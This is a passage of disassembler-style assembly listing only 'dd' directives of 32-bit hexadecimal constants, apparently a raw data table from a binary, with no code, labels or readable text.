		dd 0AB7FC92Eh, 0F103726Dh, 3EDB0E93h, 368B3739h, 9C3C3B3Ah
		dd 2D30EFAEh, 32E1210h,	9E232E63h, 0F2EBCE34h, 0AE3C085Bh
		dd 30CAAF73h, 7153B736h, 3804A7B7h, 623A8A17h, 5A332F3Dh
		dd 0DD068F98h, 0A9232138h, 26E72B35h, 3B0E6568h, 8BABED1Eh
		dd 929520B2h, 37361896h, 0BB87D188h, 603ECBA4h,	17691D1Bh
		dd 394CC849h, 27252421h, 0A12DECA4h, 0A52972EDh, 64B820E9h
		dd 62D56A37h, 39393CF5h, 2F822DADh, 71974E6Ch, 0AA600F3Ah
		dd 30DB76FBh, 0A25E07EEh, 382CFB28h, 0B44FDABh,	24B5FEB9h
		dd 0B2F80430h, 3DD5FAC0h, 0D2903FAEh, 343B6A96h, 2723C3A2h
		dd 0E5AC8CD6h, 1F96D0A2h, 44A1A3Eh, 13C0686h, 0D8B0352h
		dd 0B1D0C40h, 2C9E0947h, 273D2AA6h, 1B451916h, 1FE41DBBh
		dd 12A511F6h, 16D414CEh, 9B30B25h, 0DF30FA0h, 1A03C5h
		dd 44B0600h, 25A82793h,	19D41BC6h, 1BE31832h, 286E15C7h
		dd 62152CFDh, 566F380Bh, 363834BAh, 2AFDBB33h, 3E1534F9h
		dd 1D188B3Eh, 4B2003D2h, 0FD4C23DDh, 282864BBh,	2D6C8A4Eh
		dd 0B8547F2Ah, 0D9743317h, 0B26E3B36h, 1970B6CBh, 7D1B3A1Eh
		dd 98711E05h, 0A1DCDCEDh, 0AC7AE665h, 0CE386AACh, 0DF39EF38h
		dd 27791411h, 77247609h, 53799247h, 0DA25185Ch,	0C521BFFh
		dd 30620078h, 0D90AC3C4h, 0EA3C3A69h, 6324CC38h, 20720523h
		dd 75377620h, 2A29789Bh, 7331DDFDh, 5E3C4C08h, 2A30810Ch
		dd 4EDA646Dh, 6929A27Eh, 8F492D2Bh, 3261342Fh, 3610BD57h
		dd 0AD5BB33h, 1A79B12Bh, 19619B3Ch, 6124774Eh, 0DAB8531Bh
		dd 2BF19B33h, 2C2D2A28h, 9146BE9h, 64763732h, 0C6203796h
		dd 3C7DFB2Fh, 83F1F6Ah,	20EF9E75h, 0CC277025h, 27477D87h
		dd 3C8FA648h, 0A503CF24h, 0B4661431h, 5062DB06h, 0D0D3B39h
		dd 3C7F3F18h, 944E1C76h, 0AF4EA8EEh, 0F370100h,	5EC26DE8h
		dd 3722CF96h, 0F19EB824h, 6294E030h, 0D39EF1B3h, 0B43ADD6Ah
		dd 4E2CAD26h, 3423126Ch, 0A4EFAF86h, 2A71A034h,	2155A425h
		dd 67626C45h, 85F8DC3Bh, 0BE356576h, 0E2B49FBh,	1F1C7D7Fh
		dd 12219A3h, 0C5612948h, 28CE8A27h, 0CD21413Ah,	0D419B22Fh
		dd 0D50F4733h, 35381F16h, 0C00EB0FBh, 0DC28201Ah, 0F3E115DFh
		dd 16332250h, 48F4A12Ch, 0FC2B5B3Dh, 4130984Dh,	1E115231h
		dd 58E73644h, 513B4B0Ch, 6A7F5EEDh, 547ECD1Ch, 1E22151h
		dd 2757FE72h, 5A4B49F8h, 434EFD2Ch, 11923141h, 37474282h
		dd 4AB859E8h, 0B25EED3Ch, 1EFF1C6Ah, 2021C3FBh,	26C7F9CBh
		dd 2A28A00Ah, 2D2DDD29h, 32C3FDC7h, 36C14291h, 0C884D033h
		dd 3EC9833Bh, 0B0F41E77h, 23281FECh, 312223D1h,	29DABACEh
		dd 2A2CDF7Bh, 0C375A2C6h, 35C0A932h, 0CB45DF3Eh, 0C9ADD83Ah
		dd 4427363Eh, 1A211821h, 7A1D721Fh, 0AE195E1Bh,	3115CC17h
		dd 45107712h, 0C20CA00Eh, 8836360Ah, 0B43A3A3Bh, 2B0A3D3Dh
		dd 2F9D2D4Eh, 123D118Fh, 1647141Ah, 1AA7185Ch, 1D341F25h
		dd 1A90353h, 4150637h, 8D80A0Ch, 0D0E0ED4h, 302F115Dh
		dd 20E1111Dh, 6A05706Dh, 1A79086Ah, 0AD1F1D05h,	2CB14331h
		dd 28B63534h, 3AC63433h
		dd 3E2C3838h, 0C9101B35h, 21A01D1Eh, 73772722h,	0C5A94171h
		dd 2C2C2BAAh, 0DCD8C9A7h, 0CA343032h, 2B315F00h, 3D6E58ECh
		dd 1C494B94h, 481F4C71h, 76472273h, 7A478C25h, 2C797629h
		dd 642F7C75h, 64993263h, 6A7B3667h, 3C697239h, 9B3F6E79h
		dd 75F29649h, 62FA49DFh, 194E2D03h, 4F2A7944h, 2F2A2D8Dh
		dd 16BB5560h, 0DBB53134h, 7C025138h, 8D066404h,	0CA25A523h
		dd 19D427h, 0C61C841Ah,	7132C1Eh, 8D177D11h, 0F80B9E15h
		dd 340FC809h, 1D023F0Ch, 43064F00h, 0F1279804h,	761C5F25h
		dd 0C118FE1Eh, 2015251Ah, 0C1113217h, 80E3113h,	910A620Ch
		dd 513F8308h, 3CCD9A22h, 10733AD5h, 0A1DD1C6Bh,	57BA13h
		dd 0D82E4771h, 0FCCBC21Ah, 20AE812Fh, 31423FE1h, 397BE785h
		dd 0AC09D081h, 0C6287AC7h, 70D5FE50h, 2C222EB0h, 0A4262A24h
		dd 2B242927h, 0B42A679h, 0A3E2B038h, 6167C8BFh,	1A9639D0h
		dd 0BA3F3D3Dh, 16DF69DBh, 0B6AA25DAh, 27E50007h, 0A0B43A7h
		dd 0AA12DAAh, 6030B033h, 6064D463h, 9AA92DC8h, 0A139F933h
		dd 1D081A0Ah, 55AB494Dh, 733706h, 0E9542EE6h, 0CD50A023h
		dd 2CBC3267h, 39B93212h, 0F40330D6h, 0FECEE48h,	1A04381Ch
		dd 11F159Eh, 0D2A63227h, 46273553h, 726D828h, 313BA4E5h
		dd 74D322B9h, 66C0437Bh, 3EC63E29h, 9E1F3C1Ch, 95386BD5h
		dd 0A97123C0h, 0F6ADFD84h, 390BD2A2h, 2B54FC20h, 373D5720h
		dd 333E313Bh, 3C917B4Ch, 3B264C38h, 0A21C037Ah,	7E41630Ah
		dd 0C5460484h, 213F0F38h, 32CA870h, 752011A9h, 4550631Ch
		dd 5E561897h, 57693067h, 3A4C9F7Fh, 4F554C3Eh, 663D7373h
		dd 30784A49h, 6E0C094Eh, 2E3140CEh, 8D3E4336h, 48324819h
		dd 0AA353F30h, 6F7A2834h, 0F1E4D096h, 0EB432021h, 23B7B424h
		dd 26E42046h, 92B62E22h, 9BA43D36h, 5A251732h, 29526AC3h
		dd 0C96D39BBh, 63BE371Ch, 0A9CA2030h, 1826E761h, 0C32829E9h
		dd 2BBEEF14h, 63097FBBh, 73F9BE65h, 3B8A3FD0h, 2EA6556Ch
		dd 0D31D97D4h, 0DF7AC8F7h, 24B3AEDCh, 0A00268BFh, 2D2DBBADh
		dd 5A61907Dh, 16D4A8F6h, 38697C39h, 1AF9BFFBh, 5D761D55h
		dd 0A8164CFBh, 0A3AD3E62h, 0AD276C36h, 0DA2B7A9Ch, 6EA17B10h
		dd 14143092h, 58011286h, 2FCCBA03h, 2024C026h, 1C67223Eh
		dd 18F11EA2h, 15641B07h, 2D2B15EAh, 312F2F5Dh, 7303209h
		dd 0CB026505h, 0BF0DF90Ch, 18077D0Ah, 0FC276E25h, 10185219h
		dd 1D1DF61Fh, 0EC4E5A14h, 0FFA09A8h, 0DB343129h, 67987563h
		dd 0DBE59BD0h, 37FABE3Bh, 9E410ABBh, 7255101Ch,	206588CBh
		dd 0AEEF2F46h, 0EEE1080Fh, 0B2603115h, 76DD4C32h, 0C5C716BCh
		dd 30DCE884h, 0E2D50BBCh, 2C80DF2Dh, 35D38DD0h,	1E186EF7h
		dd 2DFC6E2Bh, 0BD650FAAh, 0DFE5BB16h, 0EC89BC1Ah, 0CD5A1A08h
		dd 0D3F345E2h, 7077541Dh, 790146C9h, 18221621h,	0A843252Ah
		dd 350F246Ch, 0F436E2BCh, 521F4E13h, 0E4BB6A29h, 14381C09h
		dd 0BF9C8798h, 4182AB21h, 8B323375h, 378A60B9h,	655EA0A1h
		dd 6332919Bh, 0BBBB3135h, 6E7F3999h, 9F933D9Fh,	1EBF261Bh
		dd 0D21816Bh, 82258676h, 880D2886h, 2A3CA82Bh, 32936536h
		dd 383595FFh, 3BED3895h, 9C583F39h, 1C4DE73Fh, 5E3248E6h
		dd 75162273h, 0E521C38Fh, 7D25C748h, 0F72326C6h, 11783321h
		dd 683B5D0Ah, 0DD17F8D2h, 1E1FC820h, 0A1C01AEDh, 5043E474h
		dd 2CD37075h, 992FDA54h, 2C2C7E29h, 0C432DA9Dh,	0C232631h
		dd 35072E3Ch, 8E04114h,	1F111D13h, 0A7CA212Fh, 0FB246661h
		dd 0C32B2B6Eh, 6B2C6C5Ch, 93021574h, 5E5C6504h,	337A3138h
		dd 9F0621D4h, 0BE24A05h, 57E12B87h, 0E6FD24E3h,	2A389127h
		dd 0EE1EEC28h, 4E158CA2h, 0BCB44D92h, 3A92CB83h, 0AE3DF432h
		dd 0FD9C6E3Fh, 0E2B49F1Fh, 0C4C5C0CAh, 29315257h, 39087FA1h
		dd 0B20C6AA5h, 7708F672h, 0B9B1F7B3h, 0B838343Bh, 0F71F7F49h
		dd 4539502h, 0A8AA3629h, 2CAA3347h, 288BA760h, 0B53BA5ADh
		dd 0B6A72A32h, 2D57990Eh, 3D1A1399h, 9A2C6B5Dh,	4E1F2350h
		dd 0CBDB2A3Bh, 73196476h, 0AAE200C8h, 0A47C147Dh, 18335BC0h
		dd 0F8764F94h, 0D338C7F9h, 0B42D3DD6h, 31F5D3F3h, 0C2912BFDh
		dd 2957E128h, 0AF9D2D22h, 79031877h, 0CBBAC314h, 603A401Bh
		dd 6AB13BE7h, 0DEFBBF13h, 27BD203Bh, 281A1FD1h,	411F0A19h
		dd 1238931Dh, 2D1D10D8h, 0C80CE558h, 82D0F32h, 4590A77h
		dd 84013BA8h, 626E603h,	1E0F7723h, 0A4832121h, 2B277230h
		dd 0CE1B2829h, 0F11D721Ch, 2FE1204h, 38AE0109h,	3C03648Bh
		dd 0FB3B06B1h, 0FEBD4B11h, 8D368120h, 639F2D60h, 0CAF1EE20h
		dd 0FA020D2Ch, 2D5231D1h, 7736D4D7h, 0DACB0F29h, 0C0121D3Ch
		dd 323D1CFAh, 14CB112h,	26C43F0Fh, 0CB000407h, 19B04C2Bh
		dd 5231D144h, 36D47108h, 0DBFFF839h, 2E1D333Bh,	0C7D40EC0h
		dd 0A2F80F3Eh, 0A020E722h, 772452FDh, 206C2277h, 3451EBAFh
		dd 62FAB8F1h, 0AE9BC36h, 83C7B0FAh, 0DC533DD2h,	22F6DF42h
		dd 24A889D2h, 28A24EEFh, 2FCAA92Ah, 514B4629h, 8D99C133h
		dd 3B37363Eh, 0C3BC1B2h, 2B770E79h, 1F4A2D4Ch, 43127D10h
		dd 4B164D14h, 1B5E1928h, 1F521D54h, 0B70231B0h,	0BB06BD04h
		dd 0B3AA908h, 0FA60DA8h, 1EBD2C87h, 8A11842Fh, 9A158813h
		dd 1AE91827h, 1EE51CEFh, 0E60130FFh, 0D605E803h, 93F9DC07h
		dd 9E2DBC38h, 19193B3Fh, 0CA21752Eh, 55705320h,	665DAE24h
		dd 3B4C385Ah, 62A22EAEh, 35746426h, 0B05E672Ah,	3D4C3F44h
		dd 44F2E1Eh, 44B0D70h, 35D371F2h, 0E9259609h, 0A7BD3C7Ah
		dd 64DF28CFh, 6467C225h, 0E9F7C6BCh, 4C353853h,	455021Bh
		dd 2EBFF54Eh, 0E7A132E0h, 772A9514h, 0A07B7E2Dh, 0A8EA2C8Ch
		dd 2C3831B4h, 62D784DCh, 1B1E6D38h, 2AC16F6Ch, 186D0F7Bh
		dd 95F72BC5h, 0AD35A651h, 8A110A1Ah, 0F9D27C2Ah, 320E381Ch
		dd 392E3577h, 3B3CBD37h, 60B03E3Bh, 0CC0C1E56h,	0AB218FA2h
		dd 2624B0ACh, 0AFA27726h, 452F2BBEh, 3CC18C92h,	0A9F15F12h
		dd 0DA26C7D7h, 1DAD32EAh, 0E2F3530Fh, 0E59E1C7Dh, 70236340h
		dd 0A3753601h, 34D419E4h, 0A275D1C5h, 0B5D1330Bh, 0EA21F134h
		dd 2AFD3BFBh, 1AFDE5FFh, 0DFAC0BDAh, 0AB34E221h, 31F933FBh
		dd 3DFE627Ah, 39EDBC9Dh, 1C24FB0Fh, 0BB39B369h,	7005734Dh
		dd 7F757E39h, 18B1DB17h, 66623F8Fh, 33714F36h, 9E3C6C26h
		dd 3B64BAA4h, 74739050h, 0E93BB4B4h, 1E2D3921h,	3A3C15C1h
		dd 1C5D855Ah, 606958AEh, 0E4031823h, 0A9E1A123h, 0D5BEFA22h
		dd 535C3DEFh, 196331B2h, 0CB1C3636h, 603FFA35h,	0A419BF8Fh
		dd 211F3737h, 78E16022h, 11226784h, 282B63B4h, 45401499h
		dd 105C6D45h, 1F476953h, 3E645F5Eh, 4713F3Dh, 1D510EEDh
		dd 0CA233544h, 171930D6h, 584B4B0Ch, 300E2B9Ch,	54325F59h
		dd 8637174h, 3B525A1Ch,	4B614F5Dh, 6A747D69h, 66615397h
		dd 19732710h, 4F0DCA03h, 1E2D1F3Bh, 32C30FC7h, 36C10991h
		dd 0C816D006h, 3EC9573Bh, 2F42917h, 0D5B91FECh,	0AFCC1022h
		dd 0EE28D529h, 0C5182BDEh, 75719ED1h, 35C0C6BCh, 0CBD7DF03h
		dd 339E183Ah, 0F42D3FCDh, 711FECC2h, 130B22D5h,	28D5E9CDh
		dd 68A0DE56h, 0B0792A09h, 72BAC3BAh, 38BFBC24h,	0B2B31299h
		dd 8B545E94h, 89964D9Ch, 22028922h, 2426B0ACh, 3E3AE9ABh
		dd 0AF84A3A4h, 197CBC63h, 632DD7Ch, 2A6C2818h, 7FBD6B9Ch
		dd 0F64F48D9h, 23E110EAh
		dd 27E52565h, 103BAB73h, 5B39AFEAh, 8470210Bh, 37BB0C26h
		dd 82344C54h, 3D3D3D7Bh, 1CD89A61h, 212BDC15h, 0A8266738h
		dd 6DA1E2A6h, 7F2E3B0Eh, 60202D2Eh, 65657360h, 1D7CF026h
		dd 0B436BB1Ah, 4591B72h, 0DF031EDDh, 463A234h, 2923B6A0h
		dd 0A9C32929h, 60AC2ABDh, 626300F7h, 0AB1432A1h, 0AA36263Dh
		dd 1FAF9939h, 412A13DCh, 2ED0A844h, 1BE22F64h, 2B252597h
		dd 217F2391h, 8D245938h, 8F663BC4h, 3B3E2FECh, 0D7313F3Eh
		dd 1C1D039Ah, 7474739Fh, 620190A8h, 3E340B23h, 3E2E26C3h
		dd 2E213403h, 0B317CDDBh, 3AD92235h, 25343838h,	1EF991D7h
		dd 0CA7DF17h, 0A6F5CB38h, 0AE50C52Fh, 90C43223h, 6CB426ADh
		dd 2D1C3AB3h, 30BB9EDEh, 2A2FBC92h, 9F8EB5D6h, 33985E14h
		dd 2BCA37h, 8627E3CDh, 5D3327A2h, 34362E2Eh, 0BF62257Bh
		dd 51D8DEFDh, 0FCBE0F39h, 1B675A3Dh, 10541937h,	766B560h
		dd 272BCD37h, 776A1131h, 0AB213E08h, 5BD031F8h,	3436A334h
		dd 3966D4D0h, 0BC3F3D3Ch, 5A9418DFh, 17D5343Bh,	8E4D2273h
		dd 9AC8B4E2h, 13DF842Dh, 9337D13Fh, 0DE3B3692h,	3199F585h
		dd 0B4329C1Bh, 4D19EB7Fh, 0C9381E6Eh, 612C030Eh, 28C9EFADh
		dd 3F7EC33Ah, 23A1DF2Ah, 0D79EA636h, 0F2B33326h, 0BF193F2Bh
		dd 39CA3138h, 30D16DF5h, 27D37EAAh, 4B3CD694h, 255B99A2h
		dd 60762ABDh, 3CD9362Dh, 7E425D51h, 5D3344B2h, 4C25DEEDh
		dd 13BA5CF4h, 39A93800h, 21C4345Bh, 53BA1FDBh, 262A6BEBh
		dd 0B0BB08D0h, 7DDE3134h, 0C4BAC5CFh, 0C9DED56Ah, 7F31E3E7h
		dd 7D2B012Eh, 7B032F93h, 33DAAEB0h, 0A4DB8C3h, 0CA83587Fh
		dd 47435317h, 23F821F8h, 0FF3F6CE9h, 395071EEh,	0C77B412Eh
		dd 0DA050C30h, 29272729h, 2D232B25h, 313F2F21h,	3537333Dh
		dd 1D7CBC66h, 9D327B3Eh, 76A321DDh, 0A86DF30h, 3971E211h
		dd 68752B95h, 1AEFAB26h, 0B5497E91h, 74512C10h,	0D04B3804h
		dd 0B3FF3F7Fh, 0F3223F99h, 0A013DD8Fh, 34E38902h, 0A7D9ECA7h
		dd 2B0EBDE8h, 0DD2D2DC0h, 18E3C69Eh, 73F1CC34h,	3F3A291Ch
		dd 39133DB7h, 129F6BF3h, 0C82DA02Fh, 7229A50Bh,	0AA6C2867h
		dd 2B2CED08h, 0B355BE0Ch, 0B716763Fh, 7FD13F3Bh, 1EFB30BDh
		dd 2C5B17B0h, 23A83B92h, 0F403A22Ch, 0C12016A7h, 3D1DAD27h
		dd 16351EA6h, 7533596Eh, 0B82B3C34h, 48EE3214h,	0DC283C2Eh
		dd 0B1D8EDEh, 0DCADE3E3h, 2AD84E93h, 0C4D2243Dh, 10220FD3h
		dd 0BF231665h, 343DC6FDh, 0CCB03A6Bh, 0EA143F57h, 0D05E964Ch
		dd 0CB20DFE1h, 0ACB50561h, 0F0C2E660h, 9F2A5EEDh, 303A3FD0h
		dd 32393BDCh, 547753F4h, 5357473Ch, 2A327D77h, 2F14D031h
		dd 38256C29h, 315920F6h, 3D272B69h, 0A152376Ah,	32351D37h
		dd 3B3AF951h, 3E14505Fh, 0FB1CAA39h, 20B50019h,	2F257873h
		dd 2ABE27C2h, 6955582Fh, 30F0075Dh, 0F152555Dh,	3C984436h
		dd 1483322Fh, 1C143F31h, 64941E11h, 0CEF3062Bh,	3C63C5D0h
		dd 280F7EA2h, 30AF7F3Dh, 64626021h, 0F8E8E8DDh,	33255A44h
		dd 0F30F826Bh, 514C59A3h, 0E8B3BA3Ah, 20311458h, 2B93027Dh
		dd 6CCED12Ah, 0E9DA3030h, 34779E34h, 0AE2D4538h, 3F063EBFh
		dd 631C4433h, 262126F7h, 76372402h, 0AF77EBADh,	68EF7850h
		dd 0D4ABA27h, 0A62D5C7Ch, 2A01773Bh, 696B6968h,	574A87Bh
		dd 17203E22h, 3D006FABh, 3CD79366h, 2FFB6F2Ah, 0B4C8A42Fh
		dd 510873CDh, 0BD385D0Ah, 3D40074Ch, 9427BD02h,	0B4239021h
		dd 18B91E21h, 14811A85h, 9E172A85h, 8E139611h, 833F60Dh
		dd 4E70AFFh, 3CE706EFh,	0F303DC01h, 0EB22F320h,	1FD81D20h
		dd 211B2424h, 16262915h, 1236103Eh, 0B7F50C2Eh,	37B21124h
		dd 73F3B3Fh, 501ABD54h,	0BB365C5Fh, 0E92760D5h,	889C6CDCh
		dd 0A32A68ABh, 2D2AECB7h, 0E10CD827h, 0B23AB5F2h, 3A39399Fh
		dd 3F3D5639h, 1D761E55h, 4B227507h, 4F2B4926h, 11BB2627h
		dd 0C57D0A40h, 11CFE4EDh, 4370212h, 6E68A30Fh, 9C683F0Ah
		dd 6C27EB1Fh, 649FF31Ah, 3E6282D1h, 0A03E00h, 93D0F36h
		dd 375F15DFh, 1FCC828Eh, 39553554h, 3C2E3959h, 1DDF2E3Ah
		dd 4F1D6D58h, 3BBCC971h, 1F1703F4h, 3B7B1ED8h, 97298144h
		dd 6C313126h, 2B265FF7h, 3BF22CC7h, 3BFABE52h, 1EDD990Fh
		dd 0A202C37h, 2625259Ah, 2269EF24h, 6EEA282Bh, 3A303C2Dh
		dd 0BF313423h, 0B3392C7Fh, 3EFA2473h, 9DE3F53Eh, 26A9DBDEh
		dd 267BE311h, 292E209Ah, 1D214C27h, 0E4E42F8Ch,	97113743h
		dd 3CE95B36h, 9C3E3820h, 0BE14953Eh, 20BED21Dh,	0B8238025h
		dd 0D1592684h, 45AB36C9h, 101E2E8Ch, 302254F1h,	271693D6h
		dd 0D53C3BB4h, 473E6CE5h, 0D2B41C4Dh, 829E2182h, 2784E724h
		dd 2A6E88A4h, 5AC6576Ch, 0B0CDCE13h, 372617F0h,	5BD2313Fh
		dd 573651BFh, 0DE2AC80Fh, 2CE17119h, 20CD2643h,	6A212872h
		dd 0EAAE4439h, 6639BD27h, 38F53C17h, 6B696A17h,	0D6F3B71Bh
		dd 165F2F5Dh, 2249C794h, 0E701063Bh, 13D60725h,	0A6D32B9Dh
		dd 31CC0BAAh, 7934BE31h, 0D1682F12h, 3DC27DECh,	3897B2C1h
		dd 201E1F1Dh, 24722025h, 6BCF6AB5h, 0D32BD47Ch,	30472F47h
		dd 34770430h, 6CBA3735h, 3E51021Dh, 0D5B46C3Dh,	0E15947F4h
		dd 2372A3DFh, 0A30641A4h, 2F802E88h, 0CA2F4855h, 43465731h
		dd 17581814h, 1B4C1478h, 3E044E11h, 7B197819h, 7222273h
		dd 262F2950h, 28C236A7h, 0D7C529C0h, 6931270Fh,	8F53FD02h
		dd 0FAB9C7C8h, 7DC23248h, 363CE2DDh, 902A1C16h,	5521E2h
		dd 9DBE71E4h, 3D7D330Fh, 0F4D1C77Ch, 0B03B1160h, 3E4868BBh
		dd 0E95C18D9h, 380B3C6Eh, 551EADD8h, 0B3CB2F79h, 23465AE5h
		dd 0A652BB76h, 442FEC34h, 95EE236Eh, 1C13B2EAh,	0CF3B5B96h
		dd 3B2C4F0Ah, 768D8D24h, 0E2252010h, 0A46522E4h, 2BA92DEEh
		dd 0CE5229D7h, 23165DBBh, 768E8BB0h, 0B1FFB202h, 97187D34h
		dd 5ED626CAh, 461F239h,	2D03666Bh, 0C6C2BE6h, 5B0B66F9h
		dd 326F6F25h, 6D34846Eh, 0F909FCB4h, 8E898217h,	95B5B2Fh
		dd 126D0E9Eh, 0E122A2E2h, 0F86906E7h, 0A62063A1h, 33BB2B3Fh
		dd 70BF2BB3h, 3D6F645Ah, 23FCFBBFh, 131F3F2Eh, 20880C93h
		dd 0E4133F85h, 892E8636h, 0A8262A68h, 0B4AB21EDh, 744719B1h
		dd 0F0881E11h, 0B3BA3939h, 19552E3Ch, 0AD0BCEE3h, 4E005577h
		dd 0E7A56FD4h, 3B281B7Ch, 26C6A17Ch, 30532530h,	15761160h
		dd 6916BD39h, 3D02171Ch, 1D5F82F3h, 1A2190BEh, 752ACC22h
		dd 6211B62h, 36ADF12Dh,	854230CFh, 72F20073h, 3AC62C13h
		dd 0F23DD43Bh, 494EE5E8h, 31507B30h, 0E4712D20h, 92901638h
		dd 7532EB7Fh, 22650F7Eh, 37143893h, 233A5959h, 673DBD3Bh
		dd 0CF1B9A61h, 208D19ACh, 7C23B269h, 5C5745A5h,	5847436Fh
		dd 0BFAD078Ch, 575232C1h, 585B5258h, 3D633C21h,	9BF03E39h
		dd 9F519C59h, 0DCAA711Dh, 17A71D31h, 2B120DA4h,	71712D55h
		dd 57693080h, 372638BDh, 0BAFEB83Ch, 3F3AFF3Bh,	178D1DEFh
		dd 225EEC1Fh, 261A241Ch, 0E282818h, 5AA67A2Bh, 0F2023C0Bh
		dd 48C3B153h, 0A979B225h, 0B010BE3Bh, 9031BA52h, 0A0032BEh
		dd 0C73F83FCh, 2DF06C0Bh, 18CFAC2h, 71D4028Fh, 0E1199935h
		dd 14953FC8h, 0EB119F30h, 31903A7Eh, 0A53B5F72h, 0AF06027Ah
		dd 11C66C08h, 612007ADh, 30662FCDh, 941EB822h, 3A12DD87h
		dd 0FF32DB94h, 0DB2CEF51h, 554B7C18h, 4A26E13Ch, 0C5222B6h
		dd 30686329h, 90D322Ch
		dd 0CC32A108h, 53DE3466h, 292E790Fh, 5D388931h,	130D1AABh
		dd 3374DDB5h, 50C4D12Eh, 3A243C29h, 9DA0213Fh, 8931318Eh
		dd 2C3501DBh, 3E5D2DB6h, 5A1E0FD0h, 241E7A53h, 0DC1D22Ah
		dd 26013D57h, 188CF279h, 2EE1F13h, 553BC65Ah, 0A1469634h
		dd 6B681954h, 9FAB37B1h, 7FFCFF03h, 33FD9A89h, 31C7A249h
		dd 0C92186CAh, 8CB6EA3Eh, 33EF0B31h, 75C30860h,	5E202718h
		dd 0BC3A9BCCh, 0DB7DBBD6h, 0E09F1CBh, 2E35C565h, 36278C5h
		dd 7B77C874h, 6FAAC540h, 7F21955Ch, 21D01F94h, 51D23537h
		dd 65B73E1Ch, 137AF40Bh, 2D32A9DEh, 0DBDA9ACBh,	3B6D3B45h
		dd 2ECD8295h, 75C138B9h, 0BA62206Ch, 8A693A77h,	9970D73Ah
		dd 14B66136h, 288A4A72h, 742D8A7Ch, 69152E89h, 0ED761928h
		dd 5128368Eh, 6E555154h, 45409D77h, 64433A3Ah, 1C043F21h
		dd 83271E02h, 904F21D0h, 5CAE4DA5h, 62A62E0Dh, 6FC72AA5h
		dd 93326291h, 6D66739h,	2CB3FAA4h, 5B9E6F3Ch, 0BF4E9B4Eh
		dd 4C1A656Eh, 93D9DB53h, 0F4A53C2Eh, 0F2CFD20h,	0C5011080h
		dd 0F10D7163h, 3BBAB479h, 2F677D3Fh, 390B684Fh,	32031B74h
		dd 3EA16557h, 2FE8812h,	3E09083Bh, 1661F10Bh, 57B5BADBh
		dd 333930BCh, 7B7A32B2h, 0DD50CF2Dh, 6EC84F97h,	95D20DA2h
		dd 69E83CFEh, 21217265h, 20286F7Dh, 0DD20C733h,	0C160B6E0h
		dd 542ED36Dh, 1D1B25FFh, 0EE94051Dh, 0CC742A71h, 7F26E6C2h
		dd 6EC3F2A2h, 3218CF7Eh, 37831991h, 0C274F68Eh,	5C17FC3Ah
		dd 193CCEB3h, 1CEF58F4h, 4B6610CDh, 0D83FA494h,	96BB53Dh
		dd 0D9ABADDCh, 0EB97944h, 0B5374494h, 6D3B48ACh, 4B56EAC3h
		dd 0BDF11C99h, 0C205F1DBh, 26C64423h, 2AC91D75h, 0B6BE7C6Dh
		dd 629B32BAh, 0A26D36A2h, 38AD5835h, 933D4D53h,	86C1C2Fh
		dd 0C925AF1Dh, 34842037h, 3D804D25h, 2E389829h,	6132BA90h
		dd 369E0331h, 0A8D835A2h, 3FA8D338h, 0B9192ACEh, 356F1EADh
		dd 0D3BE3223h, 2962863Fh, 750B1A7Bh, 0BBFC1DF2h, 3AD1B7DBh
		dd 3D39D601h, 0D63FB224h, 187F1E33h, 3FCF2ED7h,	6332B536h
		dd 0FEF2F51Dh, 254BEBA3h, 242A4DCEh, 53E1BAF2h,	632FB43Ah
		dd 0FB761DBCh, 0E4A7D825h, 0E04DDFDh, 29C6E10Ah, 0ADF51A43h
		dd 29AD39DDh, 2F08ED62h, 0DABD7E66h, 3E265590h,	0FAD1777Eh
		dd 269873EBh, 170D3535h, 1227D990h, 83172272h, 3116E65Eh
		dd 0DDA7E620h, 78357B2Eh, 7C366138h, 513D97C5h,	3D7854BAh
		dd 0B6733E3Eh, 211FFCB7h, 0AD91CA89h, 2B022094h, 2F0127E8h
		dd 381FD1DEh, 44ACA0h, 22983517h, 3C343A36h, 140C3E32h
		dd 0F72BC21Ch, 0F53A1182h, 7C381811h, 34E71CF7h, 7831E6BDh
		dd 0A3E372A1h, 28E69836h, 0DE2C5821h, 3FFC31ACh, 471DDD02h
		dd 0E5DE303Fh, 0E21A24F2h, 0ACC1083Ch, 6A3837EBh, 3E312F35h
		dd 0DE393403h, 380C3CEDh, 25F55C27h, 98189BF8h,	8B048B0Bh
		dd 273822B6h, 6A1F3B25h, 3968013Eh, 7D80E86h, 7DA40371h
		dd 3679BC39h, 4A3AAF30h, 4CBEFF14h, 24E70BE2h, 0A32120FBh
		dd 2A114C62h, 28236E2Dh, 14305894h, 0DC270533h,	0E82B4533h
		dd 0D40F296Eh, 114F3136h, 16AE7BEEh, 0DDDA2A95h, 0CC66DADAh
		dd 0C3E7A22Fh, 176E3DF9h, 3C256C70h, 0E5DA47B1h, 0FC702126h
		dd 3FC13E5Fh, 4ECFF41Bh, 2D34AB1Dh, 33A0CBA7h, 3FAF85C2h
		dd 0A9541E8Dh, 27BBFF3Ah, 0B635E488h, 6D191C4Bh, 0FCCCD46Dh
		dd 3A5C0A16h, 0F38A9A11h, 0CD717437h, 2818FB68h, 38CC592Fh
		dd 24DFC3E0h, 0E5411DF2h, 0DA2DD855h, 28D36B2Fh, 6E3C21D6h
		dd 13FF42h, 28634F89h, 6926260Eh, 2DEA1C25h, 8B6E226Dh
		dd 387333F0h, 7A36F67Ah, 4C3DFA35h, 9B953278h, 1ABE1814h
		dd 262A8125h, 652320F4h, 292F2CE8h, 0EB22292Ch,	0F21FD134h
		dd 3133DE2Fh, 7E020078h, 52972D3Ah, 0BE4F1A5Bh,	2231381Dh
		dd 74CBE520h, 3E29B821h, 0EE2F4D3Eh, 9349B2ACh,	0A24D3533h
		dd 0B9993B37h, 3E3EBD87h, 9E603F7Bh, 68551BE6h,	1A0A822h
		dd 0AC2B27A6h, 0B592FEAh, 31B82FBEh, 15CCB031h,	84324237h
		dd 0D42BDAF2h, 25213EA5h, 19A02797h, 1E051BCAh,	12581C5Dh
		dd 171010E9h, 0BA01573h, 0FE8098Ah, 4100DC3h, 51067Bh
		dd 278902B8h, 221B21CDh, 1EA11C66h, 1AC818F1h, 1570176Ch
		dd 1156134Eh, 0DB60F4Fh, 8300BE5h, 4740612h, 673C024Eh
		dd 1C8506A3h, 72320B4Fh, 0E7A69623h, 61C0A423h,	242C1F2Ah
		dd 3771D936h, 0DF1B1C39h, 0CA7EB902h, 0F5D02339h, 9E0309B4h
		dd 38221167h, 0A722CA36h, 0C0383725h, 2EAD5ED4h, 0E0C6C622h
		dd 58C30B2h, 9727B634h,	3D4E24AFh, 0EC613ECCh, 4108941Ch
		dd 0E4AD1012h, 49DFAD0Bh, 3D2D492Ah, 0D09E98C5h, 9338E139h
